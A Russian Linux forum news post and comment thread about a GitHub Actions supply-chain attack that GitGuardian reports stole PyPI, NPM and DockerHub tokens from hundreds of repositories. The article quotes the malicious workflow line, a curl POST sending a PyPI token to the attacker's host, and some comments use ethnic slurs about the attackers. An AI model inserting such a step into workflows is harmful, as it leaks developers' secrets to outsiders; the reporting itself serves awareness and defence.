LINUX.ORG.RU

Исследователи GitGuardian обнаружили масштабную атаку на GitHub

 , , , ,

Исследователи GitGuardian обнаружили масштабную атаку на GitHub

0

2

Специалисты компании GitGuardian зафиксировали масштабную целенаправленную атаку на пользователей GitHub. В результате злоумышленники получили доступ к 327 аккаунтам, через которые было внедрено вредоносное поведение в 817 репозиториев. Они подменяли GitHub Actions — автоматизированные скрипты, используемые в процессе CI/CD — вставляя вредоносные обработчики, собирающие чувствительную информацию.

В ходе атаки произошла утечка как минимум 3325 секретов, включая ключи доступа к сервисам PyPI, GitHub, NPM, DockerHub и различным облачным хранилищам. Данные передавались через переменные окружения, используемые в процессе автоматической сборки и тестирования проектов.

GitHub Actions позволяют разработчикам автоматизировать задачи вроде запуска тестов, публикации релизов или обработки issues. Злоумышленники маскировали вредоносный код под якобы безопасный обработчик под названием «Github Actions Security». Внутри него скрывалась команда curl, отправлявшая значения переменных окружения на внешний сервер при запуске workflow.

Пример вредоносной вставки:

  run: |
    curl -s -X POST -d 'PYPI_API_TOKEN=${{ secrets.PYPI_API_TOKEN }}' https://bold-dhawan.45-139-104-115.plesk.page

Атака была обнаружена после анализа подозрительной активности вокруг пакета FastUUID — Python-обёртки для Rust-библиотеки UUID. Пакет за неделю скачали почти 1,2 млн раз, и он является зависимостью проекта LiteLLM, популярность которого на PyPI превышает 5 миллионов загрузок в неделю. Вредоносный коммит был добавлен 2 сентября от имени мэйнтейнера FastUUID и включал отправку токена PyPI на внешний ресурс.

К счастью, инцидент удалось пресечь до публикации вредоносной версии FastUUID — признаков модификации или загрузки заражённого пакета в PyPI не выявлено. Однако аналогичные вредоносные обработчики были найдены ещё в 816 репозиториях. Владельцы проектов, а также представители GitHub, PyPI, NPM и DockerHub уже уведомлены о произошедшем.

К текущему моменту вредоносные коммиты удалены примерно в 100 репозиториях, а в базе GitHub всё ещё числится 671 коммит, содержащий вредоносный GitHub Action.

>>> Подробности (OpenNet)

★★★★★

Проверено: hobbit ()
Последнее исправление: hobbit (всего исправлений: 5)
Ответ на: комментарий от XMPP

и библиотека на rust. Вдвойне безопасно!

Точно, я понял. Это все из-за того что curl написан на Си. Срочно переписать его на rust!

Lrrr ★★★★★
()
Последнее исправление: Lrrr (всего исправлений: 1)

злоумышленники получили доступ к 327 аккаунтам

Самого интересного в новости и не написано. Ну просто как-то получили и всё.

маскировали вредоносный код под якобы безопасный обработчик под названием «Github Actions Security».

Ну а под что ж еще. Если все вокруг маскируют зонды под безопасную безопасность, почему хацкирам нельзя?

thesis ★★★★★
()
Ответ на: комментарий от XMPP

Я вот тоже не понял. 2фа уже год+ включён на обязаловке. Как аккаунты то украли

stave ★★★★★
()

По домену палится индус. Но я не понял в чем атака была? Там в github actions ты пишешь на yml инструкции для сборки, публикации и тестирования. Те хацкеры внедрили туда свой код, который отправлял в теле запроса токен от pypi. Как это сделано непонятно, но очень интересно. В твоем же пересказе текст представляет собой сплошную воду.

rtxtxtrx ★★★
()
Ответ на: комментарий от thesis

Индус создал свой action. Который дурачки по незнанию добавляли себе, а этот action воровал токен от pypi. Никто доступа к аккаунтам не получил. Лень вчитываться в эту портянку с водой… Теперь все ясно

rtxtxtrx ★★★
()
Последнее исправление: rtxtxtrx (всего исправлений: 1)
Ответ на: комментарий от rtxtxtrx

Уже собрался писать большую портянку, а ты и сам всё понял. Собственно, ничего удивительного. Аналогично использованию васянских пакетов в нпм.

Zhbert ★★★★★
()
Ответ на: комментарий от Zhbert

327 человек ни с того ни с сего закоммитили вредный action в самые разные репы. Каким образом эти нехорошие люди получили туда доступ, или каким образом у честных людей, имеющих доступ, угнали эти аккаунты - вот что самое интересное.

Или ты имеешь в виду, что все эти чуваки просто увидели где-то скрипт с модным названием и такие «опа, это мне точно нужно»?

thesis ★★★★★
()
Последнее исправление: thesis (всего исправлений: 1)
Ответ на: комментарий от rtxtxtrx

Индус создал свой action. Который дурачки по незнанию добавляли себе, а этот action воровал токен от pypi

так на гитхабе есть целый маркетплейс этих экшнов, которые можно импортировать в свои пайплайны, не видя, а что там собственно в них написано.

Товарищ видимо просто обновил номер версии, и все кинулись ее обновлять.

Lrrr ★★★★★
()
Ответ на: комментарий от thesis

327 дураков порописали вредносный экшен, который украл у них токены от pypi. почитай про github actions. они в gitea, кстати, используются тоже

rtxtxtrx ★★★
()
Последнее исправление: rtxtxtrx (всего исправлений: 1)

давно было бы уже понять, что пайплайны у гитхуба - это порожняк чистой воды. Кто повелся на халяву будет страдать всегда, ровно как в русской пословице: дурак платит всегда.

Если продукт серьезный то есть только один правильный путь:

  • собираем все исключительно «у себя»
  • забиваем толстый Х на плашки в README.md, что вот наша поделка таки собирается

Если проект условно «открытый», то будет куда честнее стороннему разработчику предоставить вменяемый алгоритм сборки и тестирования своей поделки, нежели заявлять «оно должна-таки как-то собраться на гитхубе, а как отлаживаться - это уже ваше дело», прислали ПР - делаешь checkout и собираешь. То что там через уй гитхуба можно сделать полноценный review - это тоже бред сивой кобылы.

borisych ★★★★★
()
Ответ на: комментарий от rtxtxtrx

Я не вижу в статье слова «дураки», а вижу «attacker» и «compromised maintainer».

thesis ★★★★★
()
Ответ на: комментарий от borisych

собираем все исключительно «у себя»

А как же автоматические тесты при каждом коммите прямо в github ci? Такое разве что для подделки на коленке сойдет разве что, да и не готов такой подход для более чем одного разработчика.

anonymous_sama ★★★★★
()

Как хорошо что я использую гитхаб просто как хранилище для кода и не пользуюсь ихними хитрыми модными экшнсами.

YogSagot ★★☆
()
Ответ на: комментарий от thesis

Или ты имеешь в виду, что все эти чуваки просто увидели где-то скрипт с модным названием и такие «опа, это мне точно нужно»?

Именно.

Zhbert ★★★★★
()
Ответ на: комментарий от Zhbert

Странно, что статья об этом умалчивает. Написано так, как будто кто-то угнал аккаунты, а хозяева не заметили коммитов от их имени. В принципе, это можно объяснить (совершенно неуместной, на мой взгляд) вежливостью авторов.

thesis ★★★★★
()
Последнее исправление: thesis (всего исправлений: 1)
Ответ на: комментарий от Lrrr

Хохма понятна, но как-то совсем не к месту. Ни curl, ни Python, ни Rust не имеют отношения к дыре в Github Actions Security.

Camel ★★★★★
()
Ответ на: комментарий от anonymous_sama

А как же автоматические тесты при каждом коммите прямо в github ci?

автоматические тесты чего именно? кода? Они совершенно не представляют никакого интереса без некой предыстории, которая должна быть выражена на человеческом языке, т.е. кто-то должен прийти и:

  • рассказать в чем именно заключается проблема
  • дополнить текущие тестовые сценарии своими негативными
  • показать, что ПР не ломает то что было и закрывает новые сценарии

после этого становится очевидно, что сторонний разработчик так или иначе заинтересован в решении проблемы, поэтому сделать checkout его ветки и запустить локально «у себя» (в т.ч. на локальном билдсервере) западлом считаться никак не должно, проблема в том, что «современная» инфраструктура разработки идет совершенно не по тому пути, т.е. идея, что если тесты не проходят, то я даже review делать не буду - она порочная сама по себе:

  • есть масса сценариев, когда чтобы понять стоит ли двигаться дальше или нет, достаточно договориться на берегу насчет концепции, т.е. если мысль достойная, то нужно кивнуть, а потом автор дальше все причешет, а не так, что «давай ты сначала тесты сделаешь зелеными, а мы потом подумаем»
  • существует масса проектов, где пайплайны всегда красные, потому что в проекте такая стратегия: ну что-то не работает, ну да ладно, потому починим
  • есть проекты, где пайплайны падают по «неизвестным» причинам, т.е. либо мощностей не хвататет, либо тесты такие, что имеют тенденцию спорадически падать (практически весь уй такой)

т.е.:

если мне ПР интересен, то я сделаю checkout, посмотрю в IDE что там происходит, позапускаю тесты, сделаю свои и пр., если мне ПР не интересен, то я даже отзыв писать не буду к нему. Так получается, что пайплайны именно в гитхубе, как общедоступном хранилище кода, мне нафиг не упали (там есть еще гитхуббот, тут нужно подумать над этим, вроде полезный болванчик)

borisych ★★★★★
()
Последнее исправление: borisych (всего исправлений: 1)
Ответ на: комментарий от thesis

Просто статью как всегда писали журналисты.

Там можно дать экшонсам разрешение на коммиты в мастер даже. И у меня так в паре мест сделано, например, чтобы чейнджлог генерился автоматом после мержа или релиза. Ну и вот. Только кто-то думает, когда пользуется, а кто-то дает доступ абы чему.

Zhbert ★★★★★
()
Последнее исправление: Zhbert (всего исправлений: 1)
Ответ на: комментарий от Zhbert

да там нормально написано, просто лень читать дальше первых и последних абзацев (типа как слова мы читаем, обращая внимание лишь на крайние буквы). новость можно было сократить до:

Индийский злоумышленник украл токены от pypi, создав на github вредоносный action, который успели добавить и запустить владельцы 327 репозиториев

Типа первым абзацем вся суть, а далее - второстепенная информация про какую-то компанию из франции.

кстати, эти индусы, они все в телеграме сидят, типа этих каналов https://t.me/brutsecurity. дуров еще не все побанил. мож там и этот индийский школохакер в админах

rtxtxtrx ★★★
()
Последнее исправление: rtxtxtrx (всего исправлений: 2)

Найти виновника. Пытать. Потом на органы.

seiken ★★★★★
()
Ответ на: комментарий от YogSagot

Ну как модными… Раньше можно было Travis прикрутить, теперь появились Actions, Travis соответственно сломали.

hobbit ★★★★★
()
Ответ на: комментарий от borisych

Нет если pr не проходит автотест, то его даже не надо смотреть, ибо или он все ломает, или нужно обновлять тесты под новый функционал. Есть исключения, но это все равно выражается в том, что кто-то должен либо перезапускать job с тестом либо писать обновленные тесты. Игнорирование этого зачастую приводит к плохим практикам.

anonymous_sama ★★★★★
()
Последнее исправление: anonymous_sama (всего исправлений: 1)

вроде с индусами всё понятно. но неужели для тестирования в CI используются реальные токены продакшена? вот в чём вопрос. не вдавалась в детали гитхаба, но это кажется странным.

да, а пистон - зло, как я и говорила. качасть что попало откуда попало - нездоровая идея. на ней и погорели. а могли бы жить.

Iron_Bug ★★★★★
()
Последнее исправление: Iron_Bug (всего исправлений: 1)

Python
NPM
Rust
LLM

Вот почему я не удивлён?

Smacker ★★★★★
()
Ответ на: комментарий от anonymous_sama

если pr не проходит автотест, то его даже не надо смотреть

Игнорирование этого зачастую приводит к плохим практикам

похоже требуется чуть лучше раскрыть свою мысль… существует две простых и при этом диаметрально противоположных идеи на мой взгляд:

  • у нас коммерческая разработка, там мы диктуем свои правила о том, что мы ожидаем на выходе, и тут определенно весь этот гитхуб совершенно не в тем
  • у нас проект - условный опенсорс, и тут нам бы любая помощь бы пригодилась (происходит крайне редко, потому что владельцы более-менее крупных проектов начинают считать себя князьками местного разлива и диктуют «требования»)

при этом тот же самый пайплайн состоит из кучи шагов, которые могут валиться, потому что «так бывает»:

  • изменения не лезут в целевой бранч просто потому что в целевом бранче появились более другие конфликтующие изменения - это крайне неприятно, более того, тот же git конфликты разруливает откровенно так себе (где-то порет хрень, где-то падает на том, что реально можно-таки разрулить) - через призму как коммерческой так и опенсорс разработки я совершенно не вижу каких-либо причин просить автора ПР актуализировать его изменения - он работу-то сделал свою уже, читать так: как мейнтейнер проекта я в большинстве случаев заинтересован в его развитии, поэтому со свой стороны я должен приложить все усилия для того, чтобы интересующий меня ПР попал в апстрим, т.е. я могу и сам что-то поправить, а могу попросить поправить автора - здесь все зависит от объемов изменений. Квинтэссенция всего этого: если ПР не посмотрел в течение дня и не дал рекомендаций - это теперь исключительно моя проблема вне зависимости от типа разработки
  • косяки с форматированием кода: тут бывает по-разному, однако в целом выходит так, что либо мы публикуем как правила форматирования так и предоставляем настройки для более-менее распространенных IDE, либо идем куда-то далеко на юга
  • оно какие-то тесты не проходит, хорошо, если у нас коммерческая разработка, то мы вполне можем ожидать, что каждый разработчик погружен в проект более-менее полностью, а что вы ожидаете в этом случае от опенсорса? что человек со стороны полностью вникнет во все тонкости проекта, да? Оценивайте изменения субъективно, а не основываясь на машинном выхлопе.

ваше:

Такое разве что для подделки на коленке сойдет разве что, да и не готов такой подход для более чем одного разработчика.

как раз про проекты, где ПР со стороны прилетает дай Бог раз в полгода и мы вместо того, чтобы приложить все усилия, чтобы его внедрить, начинаем его сливать.

borisych ★★★★★
()
Последнее исправление: borisych (всего исправлений: 1)
Ответ на: комментарий от rtxtxtrx

так это вроде как должен делать человек, а не скрипты. у скриптов к таким ключам доступа быть не должно, по идее. и тем более, если скрипты тянутся откуда-то слева и вообще не проверяются. обычно в апстрим изменения принимает кто-то, ответственный за проект. я бы сильно не рекомендовала использовать проекты, в которых код в апстрим коммитит совершенно левый скрипт, гоняющий тесты. этот нонсенс. там может быть что угодно.

но я не удивлена. всё к этому планомерно шло и список проектов показателен в этом плане.

Iron_Bug ★★★★★
()
Последнее исправление: Iron_Bug (всего исправлений: 3)
Ответ на: комментарий от Iron_Bug

нет. не должен. при совместной разработке пакет должен собираться по тегу и тп, который может добавить кто угодно из мейнтейнеров и откуда угодно. прям с телефона можно код поправить и тег добавить из интерфейса. без такой системы кто-то один избранный, должен pull делать с домашней машины и пару команд вводить. скрипты там не летят откуда-то. на гитхабе есть система рекомендованных экшенов (маркетплейс), тот экшен нужно было еще суметь найти и самому его добавить (зачем?). из тех 327 реп, питоновских были наверняка пару десятков, и лишь в единицах использовалась публикация в pypi.

rtxtxtrx ★★★
()

отдельный вопрос к тому, почему код, содержащий строку https, например, не вызвал вопросов у тех, кто проверяет эти обработчики. это старо, как мир. любой сраный скрипт предварительной проверки в вебе умеет выявлять и маскировать такие вызовы, либо, как минимум, предупреждать, что в коде есть небезопасные элементы. а тут такой незамысловатый инжект, который по какой-то неведомой причине спокойно проходит все тесты и никого не колебёт. вопрос к квалификации этих «разработчиков» очень большой.

Iron_Bug ★★★★★
()
Ответ на: комментарий от rtxtxtrx

это называется проще: «колхоз». в буквальном смысле. коллективное хозяйство. и полный разброд, как следствие. когда у проекта нет ответственного, рано или поздно всё скатывается вот к такому бардаку.

Iron_Bug ★★★★★
()
Ответ на: комментарий от Iron_Bug

нет. самое важное умение в тч для руководителя - это делегирование обязанностей. завязывая все на себя, ты в итоге и всрешь проект, будучи не в состоянии за всем уследить. другие пусть «кодеревьюят» до обосрачки сидят. людям нужно уметь доверять… это ж не личные секреты, а лишь какая-то срань на которой свет клином не сошелся

rtxtxtrx ★★★
()
Последнее исправление: rtxtxtrx (всего исправлений: 1)
Ответ на: комментарий от Iron_Bug

там у тебя yml. в который ты пару строчек дописываешь из описания экшена того. там можно пойти код на гитхабе того экшена посмотреть, но всем лень… это как образ докера изучать или потроха пакета в линуксе - вопрос доверия. все на доверии. 99.99% разработчиков честные… а чтобы не попасться на нечестных, достаточно не добавлять что-то, появившееся буквально вчера. не факт, что там изначально был вредонос, оно изначально могло честно выполнять свою функцию

rtxtxtrx ★★★
()
Ответ на: комментарий от rtxtxtrx

скрипты там не летят откуда-то. на гитхабе есть система рекомендованных экшенов (маркетплейс)

ну вот, мы видим, как она отработала. просто прекрасно. отсутствие мозгов всегда приводит к подобным результатам. не надо ничего проверять, вам всё «порекомендуют» (подадут на лопате). чем это отличается от запуска случайных патчей бармина из интернета - непонятно. впрочем, те, кто пишет код с помощьи «ИИ», ещё и не на такое поведутся. им что дадут - то они и хавают. без понимания, без вникания, без приложения усилий. очень модно стало не иметь мозгов совсем. и очень удобно для копрорастов: «pypl хавает». но есть нюанс: фичу безмозглости потребителей эксплуатируют не только копрорасты, но и всякие индусские хацкеры. причём тривиально.

Iron_Bug ★★★★★
()
Последнее исправление: Iron_Bug (всего исправлений: 1)
Ответ на: комментарий от Iron_Bug

После 2022 года я пытался вручную проверять код всех зависимостей своего проекта. Потому что в то время особенно активно попадались «сюрпризы» в разных экосистемах.

Очень долгое и затратное это дело - проверить все зависимости современного проекта, даже если очень глубоко не копать.

Chiffchaff
()
Ответ на: комментарий от Iron_Bug

Вручную это делать неудобно. Это ручные действия, а ручные действия надо стремиться автоматизировать.

Я всегда, когда есть время, стараюсь сделать, чтобы при merge в мастер или создании нового тега, автоматически создавался и публиковался образ или пакет.

Это удобно и менее подвержено ошибкам, нежели когда кто-то должен руками куда-то лезть и собирать, а затем публиковать.

Кроме того, это позволяет делегировать это дело. Например, прошли изменения ревью, решили на их основе сделать новую версию - необязательно сделавшему их джуну давать какие-то секреты для доступа к репозиторию с образами/пакетами - ему достаточно нажать кнопку публикации. Т.е. опубликовать новую версию он может - перезаписать или удалить старую - нет. А с выданными токенами - мог бы.

Chiffchaff
()
Ответ на: комментарий от Chiffchaff

а что предлагается делать? расслабиться и получать удовольствие?

к тому же, если у тебя уже есть проект, то не надо проверять весь код зависимостей. надо проверять код последних изменений, по версиям. ну и ещё один пункт: лучше не плодить зависимости. это тоже очень полезно. всё, что можно не тащить в проект и реализовать самостоятельно, надо не тащить. понятны зависимости, например, от криптографии, курла или каких-то других глобальных библиотек в системе. но непонятно стремление натащить всякое левое ненужно по десять штук, которое сейчас местами попёрло. причём реально тащат целые проекты ради одной строчки вызова. а потом жалуются, что много проблем с поддержкой. ну так а кто их создал.

Iron_Bug ★★★★★
()
Последнее исправление: Iron_Bug (всего исправлений: 1)
Ответ на: комментарий от XMPP

Зато у них 2fa обязательное.

Не тупи: 2FA обязательное для доступа к веб-морде, токены и коммит-доступ его не требуют.

zabbal ★★★★☆
()
Ответ на: комментарий от Chiffchaff

это не ручные действия, это работа мозгами. ручные действия действительно можно и нужно автоматизировать. хватит уже катать тачки с грузами, копать землю лопатой и прочее такое. это нужно автоматизировать. а интеллектуальную работу автоматизировать невозможно. нельзя человека заменить скриптом.

но это общая болезнь современного мира: лень и интеллектуальная импотенция. потому и спихивают всё на скрипты. а скрипты - они тупые, они ничего не соображают, они ничего не проверяют и надеяться на них в общем смысле нельзя. поэтому и результаты такие удрочающие. и это не случайность, это закономерность. я уже много лет об этом говорю, люди не слушают. ну, что ж поделать. за что боролись, на то и напоролись, как говорится.

Iron_Bug ★★★★★
()
Ответ на: комментарий от zabbal

но ведь токены скриптам кто-то скормил. это сделал человек. что у него при этом было в голове - это большой вопрос. но факт остаётся фактом.

можно, например, задать вопрос: часто ли вы передаёте рутовый пароль (текстом) каким-нибудь левым софтинам из сети? вот это полная аналогия.

Iron_Bug ★★★★★
()
Последнее исправление: Iron_Bug (всего исправлений: 2)
Ответ на: комментарий от Iron_Bug

чем это отличается от запуска случайных патчей бармина из интернета - непонятно

вот майкросфот в гитхубе патчи бармина запускает исключительно в изолированном окружении, т.е. докере, поэтому что там в пайплайнах происходит майкросфту не особо интересно. Да и черт с ним со сборочным окружением, в современных реалиях его восстановление занимает меньше минуты, однако, находятся умельцы, которые в гитхуб не моргнув глазом сливают креденшелы от DML (в данном контексте DML - это definitive media library), приватные ключи и пр., о чем собственно и «новость». И вполне себе может быть, что такие исследования именно майкрософт и инициирует: условно завтра выйдет статья от майкрософт в духе, что 99.999% пользователей гитхуба - откровенные дебилы, поэтому выделите нам срочно денег на исправление ситуации.

borisych ★★★★★
()
Ответ на: комментарий от borisych

ну, гихаб принадлежит мелкософту, так что бабло он сам на него и выделяет. а что юзвери сливают креденшиалы, я уже заметила выше:

но ведь токены скриптам кто-то скормил. это сделал человек. что у него при этом было в голове - это большой вопрос. но факт остаётся фактом.

и там наверняка не только эти токены. а скрипты запускаются из помойки, которую никто не проверяет на вшивость. то есть, можно считать, что там вообще малварь по дефолту. если там никто не обратил внимания на http в коде, то на другое и подавно никто не посмотрит. я думаю, там везде скрипты скриптами погоняют и никакого разума уже нет, причём давно. и эта система постепенно идёт вразнос. она сама себя гробит.

Iron_Bug ★★★★★
()
Ответ на: комментарий от borisych

можно плясать с бубном и сделать, например, разные токены для залива на готовых модулей на прод и для приёмки кода от контриьюторов. тогда несоответствие токенов будет, по крайней мере, явно видно и такую ситуацию можно будет отловить. но это не решит вопроса малвари в проде. проблемы не в токенах, проблемы в головах.

Iron_Bug ★★★★★
()
Ответ на: комментарий от borisych

ты не путай сам гитхаб и его инфраструктуру и OSS-проекты. они клянчат бабла якобы на второе. а сам гитхаб они не прикроют, потому что он им нужен для воровства чужого кода обучения «ИИ».

ну и в ЕС тоже не дурачки сидят. хрен ты их сподвигнешь платить бабло за просто так. проще на каком-нибудь краудфандинге бабла собрать, чем вытрясти его из чиновников. тем более, что сейчас понятно, куда просирается куча бабла и им явно не до опенсорца. их и так скоро собственные избиратели попрут с насиженных кресел, потому что бабло идёт не на развитие экономики их стран, а куда попало.

ну либо они могут потребовать ключевой пакет акций, например. чтобы не просто так бабло впаривать, а управлять проектом.

ну и мелкософт как-то ничего не вякает про опенсорц, когда выпускает свой проприетарный софт, чтобы продавать его тому же ЕС. так что они любят опенсорц очень выборочно, и в основном с задней стороны.

Iron_Bug ★★★★★
()
Последнее исправление: Iron_Bug (всего исправлений: 5)
Ответ на: комментарий от zabbal

да, и предполагается, что они будут защищены. и сливать их скриптам, которые накачаны откуда попало, - очень плохая идея. а PyPl - это «откуда попало» и есть. прямо эталонная помойка. и через неё малварь распространяется везде, куда тащат пистон и поделия на нём.

Iron_Bug ★★★★★
()
Последнее исправление: Iron_Bug (всего исправлений: 2)
Ответ на: комментарий от Iron_Bug

да

Точно нет, иначе ты не задавала бы бессмысленные вопросы.

предполагается, что они будут защищены

Предполагается что у комментаторов ЛОР есть мозг, но ты же тут тоже пишешь.

а PyPl - это «откуда попало» и есть

При чём здесь вообще PyPI? Ты каким отверстием новость читала?

распространяется везде, куда тащат пистон

То есть ты ещё и про PyPI не раздуплила что это. На кой хрен ты вообще пытаешься что-то ляпнуть?

zabbal ★★★★☆
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.